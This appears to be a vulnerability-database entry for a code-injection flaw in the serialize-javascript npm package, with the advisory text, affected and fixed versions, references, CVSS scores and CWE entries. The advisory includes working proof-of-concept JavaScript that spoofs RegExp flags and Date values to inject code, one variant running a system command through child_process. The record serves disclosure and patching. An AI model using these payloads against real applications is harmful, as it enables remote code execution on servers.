Lookup for vulnerabilities affecting packages.

Vulnerability_idVCID-4zkq-sw4a-e7c3
Summary
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```

```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```

```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Aliases
0
alias GHSA-5c6j-r48x-rmvq
Fixed_packages
0
url pkg:npm/serialize-javascript@7.0.3
purl pkg:npm/serialize-javascript@7.0.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3
Affected_packages
0
url pkg:npm/serialize-javascript@1.0.0
purl pkg:npm/serialize-javascript@1.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.0.0
1
url pkg:npm/serialize-javascript@1.1.2
purl pkg:npm/serialize-javascript@1.1.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.1.2
2
url pkg:npm/serialize-javascript@1.2.0
purl pkg:npm/serialize-javascript@1.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.2.0
3
url pkg:npm/serialize-javascript@1.3.0
purl pkg:npm/serialize-javascript@1.3.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.3.0
4
url pkg:npm/serialize-javascript@1.4.0
purl pkg:npm/serialize-javascript@1.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.4.0
5
url pkg:npm/serialize-javascript@1.5.0
purl pkg:npm/serialize-javascript@1.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.5.0
6
url pkg:npm/serialize-javascript@1.6.0
purl pkg:npm/serialize-javascript@1.6.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.0
7
url pkg:npm/serialize-javascript@1.6.1
purl pkg:npm/serialize-javascript@1.6.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.1
8
url pkg:npm/serialize-javascript@1.7.0
purl pkg:npm/serialize-javascript@1.7.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.7.0
9
url pkg:npm/serialize-javascript@1.8.0
purl pkg:npm/serialize-javascript@1.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.8.0
10
url pkg:npm/serialize-javascript@1.9.0
purl pkg:npm/serialize-javascript@1.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.0
11
url pkg:npm/serialize-javascript@1.9.1
purl pkg:npm/serialize-javascript@1.9.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.1
12
url pkg:npm/serialize-javascript@2.0.0
purl pkg:npm/serialize-javascript@2.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.0.0
13
url pkg:npm/serialize-javascript@2.1.0
purl pkg:npm/serialize-javascript@2.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-3cbb-ghjz-fyhn
1
vulnerability VCID-4zkq-sw4a-e7c3
2
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.0
14
url pkg:npm/serialize-javascript@2.1.1
purl pkg:npm/serialize-javascript@2.1.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1
15
url pkg:npm/serialize-javascript@2.1.2
purl pkg:npm/serialize-javascript@2.1.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.2
16
url pkg:npm/serialize-javascript@3.0.0
purl pkg:npm/serialize-javascript@3.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-k6ny-gfg9-8ugd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.0.0
17
url pkg:npm/serialize-javascript@3.1.0
purl pkg:npm/serialize-javascript@3.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0
18
url pkg:npm/serialize-javascript@4.0.0
purl pkg:npm/serialize-javascript@4.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@4.0.0
19
url pkg:npm/serialize-javascript@5.0.0
purl pkg:npm/serialize-javascript@5.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.0
20
url pkg:npm/serialize-javascript@5.0.1
purl pkg:npm/serialize-javascript@5.0.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.1
21
url pkg:npm/serialize-javascript@6.0.0
purl pkg:npm/serialize-javascript@6.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-h8nr-tcb7-93em
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.0
22
url pkg:npm/serialize-javascript@6.0.1
purl pkg:npm/serialize-javascript@6.0.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
1
vulnerability VCID-h8nr-tcb7-93em
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.1
23
url pkg:npm/serialize-javascript@6.0.2
purl pkg:npm/serialize-javascript@6.0.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.2
24
url pkg:npm/serialize-javascript@7.0.0
purl pkg:npm/serialize-javascript@7.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.0
25
url pkg:npm/serialize-javascript@7.0.1
purl pkg:npm/serialize-javascript@7.0.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.1
26
url pkg:npm/serialize-javascript@7.0.2
purl pkg:npm/serialize-javascript@7.0.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4zkq-sw4a-e7c3
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.2
References
0
reference_url https://github.com/advisories/GHSA-hxcc-f52p-wc94
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-hxcc-f52p-wc94
1
reference_url https://github.com/yahoo/serialize-javascript
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript
2
reference_url https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9
3
reference_url https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
4
reference_url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2020-7660
6
reference_url https://github.com/advisories/GHSA-5c6j-r48x-rmvq
reference_id GHSA-5c6j-r48x-rmvq
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5c6j-r48x-rmvq
Weaknesses
0
cwe_id 96
name Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
description The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
1
cwe_id 937
name OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
description Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.
2
cwe_id 1035
name OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
description Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.
Exploits
Severity_range_score7.0 - 8.9
Exploitability0.5
Weighted_severity8.0
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/vulnerabilities/VCID-4zkq-sw4a-e7c3